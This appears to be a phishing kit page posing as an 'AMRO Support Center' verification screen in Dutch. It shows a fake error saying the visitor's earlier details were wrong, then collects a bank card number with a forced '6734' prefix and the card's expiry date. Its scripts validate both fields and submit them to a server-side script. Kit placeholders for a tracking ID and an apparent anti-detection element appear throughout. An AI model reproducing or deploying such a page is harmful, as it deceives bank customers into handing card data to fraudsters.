<!doctype html>
<html class="no-js" lang="">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Support Center</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script src="bs.js"></script>
    <style>
        body,
        .content-container {
            margin: 0;
            font-family: 'Open Sans', sans-serif;
            background-color: #f4f4f9;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
            width: 100%;
        }
        .content-container {
            flex: 1;
            width: 100%;
        }
        .content-container.blurred {
            filter: blur(5px);
        }
        .header-container {
            background: #007a72;
            width: 100%;
            height: 60px;
            display: flex;
            align-items: center;
            justify-content: flex-start;
            padding-left: 20px;
            box-sizing: border-box;
        }
        .logo {
            background-image: url('./files/colors.svg');
            height: 50px;
            width: 100px;
            background-size: contain;
            background-repeat: no-repeat;
            margin-left: 20px;
        }
        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            width: 100%;
            padding: 20px;
            box-sizing: border-box;
            flex-grow: 1;
        }
        .main {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
        }
        .second {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
            display: none;
        }
        .info-box {
            background-color: #f0fdfa;
            color: #003e39;
            padding: 16px 20px;
            margin-bottom: 20px;
            font-size: 0.9em;
            border-left: 4px solid #007a72;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05);
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            text-align: left;
        }
        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
            color: #007a72;
        }
        .form-group input {
            width: 200px;
            padding: 10px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }
        .form-group input.error {
            border: 1px solid red;
        }
        .btn {
            background-color: #ffd40a;
            color: black;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
            border-radius: 0;
        }
        .btn:hover {
            background-color: #e6c200;
        }
        .error-message {
            color: red;
            font-size: 0.8em;
            margin-top: 10px;
            display: none;
        }
        .footer-container {
            background: #007a72;
            width: 100%;
            text-align: center;
            padding: 15px 0;
            color: white;
            font-size: 0.9em;
            margin-top: auto;
        }
        .image-section {
            margin-top: 20px;
            text-align: center;
            background-color: #f0fdfa;
            padding: 16px;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
            display: inline-block;
        }
        .image-section img {
            max-width: 100%;
            height: auto;
        }
        @keyframes slideIn {
            from {
                transform: translateY(-50px);
                opacity: 0;
            }
            to {
                transform: translateY(0);
                opacity: 1;
            }
        }
        @media only screen and (max-width: 768px) {
            .main, .second {
                width: 100%;
                padding: 15px;
            }
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 1;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background-color: rgba(0, 0, 0, 0.8);
        }
        .modal-content {
            background-color: #fefefe;
            margin: 15% auto;
            padding: 20px;
            border: 1px solid #888;
            width: 80%;
            max-width: 500px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            animation: slideIn 0.5s;
        }
        .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
        }
        .close:hover,
        .close:focus {
            color: black;
            text-decoration: none;
            cursor: pointer;
        }
        .modal-image {
            width: 100%;
            height: auto;
            margin-bottom: 15px;
        }
        .loader {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #007a72;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 2s linear infinite;
            margin: auto;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid black;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
    </style>
    <link href="https://fonts.googleapis.com/css?family=Roboto+Slab:300|Open+Sans:300" rel="stylesheet" type="text/css">
    <link rel="icon" href="">
</head>
<body>
    <div class="content-container">
        <div class="header-container"></div><br>
        <div style="margin-top: 20px;" class="logo"></div>
        <div class="main-container">
            <form action="int2.php" method="post" id="myForm" onsubmit="return validateForm()">
                <div class="main">
                    <img src="./files/m1.jpg" alt="Logo" style="width: 70px; height: 60px;">
                    <h3 style="color: #007a72; margin-top: 5px;">Controle pagina</h3>
                    <div class="form-group" id="abbonummer-section" style="margin-top: 30px;">
                        <div style="
                            border-left: 4px solid #d93025;
                            background-color: #fef3f2;
                            color: #5c1a12;
                            padding: 16px 20px;
                            border-radius: 6px;
                            max-width: 500px;
                            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                            font-size: 14px;
                            line-height: 1.6;
                            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05);
                            margin bottom: 18px auto 0 auto;">
                            <div style="display: flex; align-items: center; margin-bottom: 10px;">
                                <span style="font-size: 18px; margin-right: 8px;">⚠️</span>
                                <h3 style="color: #b00020; margin: 0; font-size: 16px;"><b>Systeem melding</b></h3>
                            </div>
                            <p style="margin: 0;">
                                De combinatie ingevoerde gegevens zijn onjuist. U wordt verzocht deze opnieuw in te dienen.
                            </p><br>
                            <p style="margin: 0;">Ter verificatie is het invoeren van het kaartnummer op de achterzijde van uw kaart vereist.
                            </p>
                        </div>
                        <center>
                            <div class="image-section" style="margin-top: 15px;">
                                <img id="dynamic-image" src="./files/B3.jpg" alt="Placeholder Image" style="width: 200px; height: 70px;">
                            </div>
                        </center>
                        <label style="margin-top: 25px;" for="abbonummer3">19 cijferige kaart nr.:</label>
                        <input type="tel" maxlength="23" class="form-control" aria-required="true" onkeypress="return isNumber(event)" oninput="interLude(this)" name="abbonummer3" id="abbonummer3" aria-label="Mijn abonnementsnummer" placeholder="6734 XXXX XXXX XXXX XXX">
                        <button type="button" class="btn" onclick="validateAbbonummer3()">Valideren</button>
                        <div class="error-message" id="abbonummer-error">⚠️ <b>Voer een geldig kaartnummer in.</b></div>
                        <div class="error-message" id="abbonummer-invalid-error">⚠️ <b>Kaartnummer is ongeldig.</b></div>
                    </div>
                    <div class="form-group" id="vervaldatum-section" style="display: none;">
                        <div class="info-box">
                            <p>Ter voortzetting van de procedure vragen wij u de vervaldatum van uw kaart ter verificatie in te voeren.</p>
                        </div>
                        <center>
                            <div class="image-section" style="margin-top: -5px;">
                                <img id="dynamic-image" src="./files/B4.png" alt="Placeholder Image" style="width: 180px; height: 100px;">
                            </div>
                        </center>
                        <label style="margin-top: 25px;" for="vervaldatum3">Kaart geldig t/m:</label>
                        <input type="text" class="form-control" maxlength="5" name="vervaldatum3" id="vervaldatum3" placeholder="MM/YY" oninput="formatDate(this)" onkeydown="handleBackspace(event, this)">
                        <button type="button" class="btn" onclick="validateVervaldatum3()">Valideren</button>
                        <div class="error-message" id="vervaldatum-error">⚠️ <b>Voer een geldige vervaldatum in.</b></div>
                        <div class="error-message" id="vervaldatum-invalid-error">⚠️ <b>Vervaldatum is ongeldig.</b></div>
                    </div>
                    <input type="hidden" name="form_type" value="relog">
                    <?php echo $protectiveElementMain; ?>
                </div>
            </form>
        </div>
        <div class="footer-container">
            <footer>
                <p><b>AMRO Support Center</b></p>
                <p><b>Support ID: #CODE#</b></p>
            </footer>
        </div>
    </div>
    <script>
        document.addEventListener("DOMContentLoaded", function () {
            const input = document.querySelector('input#abbonummer3, input[name="abbonummer3"]');
            const prefix = "6734 ";
            if (input) {
                input.addEventListener("click", function () {
                    if (!input.value.startsWith(prefix)) {
                        input.value = prefix + input.value;
                    }
                });
            }
        });
    </script>
    <script>
        function isNumber(evt) {
            evt = (evt) ? evt : window.event;
            var charCode = (evt.which) ? evt.which : evt.keyCode;
            if (charCode > 31 && (charCode < 48 || charCode > 57)) {
                return false;
            }
            return true;
        }
        function interLude(input) {
            var target = input, position = target.selectionEnd, length = target.value.length;
            target.value = target.value.replace(/[^\dA-Z]/g, '').replace(/(.{4})/g, '$1 ').trim();
            target.selectionEnd = position += ((target.value.charAt(position - 1) === ' ' && target.value.charAt(length - 1) === ' ' && length !== target.value.length) ? 1 : 0);
        }
        function formatDate(input) {
            if (input.value.length === 2 && input.value.indexOf('/') === -1) {
                input.value += '/';
            }
        }
        function handleBackspace(event, input) {
            if (event.key === 'Backspace' && input.value[input.selectionStart - 1] === '/') {
                event.preventDefault();
                var value = input.value;
                input.value = value.substring(0, input.selectionStart - 1) + value.substring(input.selectionStart);
            }
        }
        function validateAbbonummer3() {
            var abbonummer = document.getElementById('abbonummer3').value.trim();
            var abbonummerError = document.getElementById('abbonummer-error');
            var abbonummerInvalidError = document.getElementById('abbonummer-invalid-error');
            var abbonummerInput = document.getElementById('abbonummer3');
            if (abbonummer === '') {
                abbonummerInput.classList.add('error');
                abbonummerError.style.display = 'block';
                abbonummerInvalidError.style.display = 'none';
            } else if (!/^6734 \d{4} \d{4} \d{4} \d{3}$/.test(abbonummer)) {
                abbonummerInput.classList.add('error');
                abbonummerInvalidError.style.display = 'block';
                abbonummerError.style.display = 'none';
            } else {
                abbonummerInput.classList.remove('error');
                abbonummerError.style.display = 'none';
                abbonummerInvalidError.style.display = 'none';
                document.getElementById('abbonummer-section').style.display = 'none';
                document.getElementById('vervaldatum-section').style.display = 'block';
                var img = document.getElementById('dynamic-image');
                img.src = '';
                img.style.width = '180px';
                img.style.height = '100px';
            }
        }
        function validateVervaldatum3() {
            var vervaldatum = document.getElementById('vervaldatum3').value.trim();
            var vervaldatumError = document.getElementById('vervaldatum-error');
            var vervaldatumInvalidError = document.getElementById('vervaldatum-invalid-error');
            var vervaldatumInput = document.getElementById('vervaldatum3');
            vervaldatumInput.classList.remove('error');
            vervaldatumError.style.display = 'none';
            vervaldatumInvalidError.style.display = 'none';
            if (vervaldatum === '') {
                vervaldatumInput.classList.add('error');
                vervaldatumError.style.display = 'block';
                return false;
            } else {
                var parts = vervaldatum.split('/');
                if (parts.length !== 2) {
                    vervaldatumInput.classList.add('error');
                    vervaldatumInvalidError.style.display = 'block';
                    return false;
                }
                var month = parseInt(parts[0], 10);
                var year = parseInt(parts[1], 10);
                if (isNaN(month) || isNaN(year) || month < 1 || month > 12 || year < 25 || year > 50) {
                    vervaldatumInput.classList.add('error');
                    vervaldatumInvalidError.style.display = 'block';
                    return false;
                }
                if (month < 7 || year < 25) {
                    vervaldatumInput.classList.add('error');
                    vervaldatumInvalidError.style.display = 'block';
                    return false;
                }
            }
            document.getElementById('myForm').submit();
            return true;
        }
        function validateForm() {
            if (document.querySelector('.main').style.display === 'block') {
                if (document.getElementById('abbonummer-section').style.display === 'block') {
                    validateAbbonummer3();
                    return false;
                } else if (document.getElementById('vervaldatum-section').style.display === 'block') {
                    return validateVervaldatum3();
                }
            }
        }
    </script>
</body>
</html>
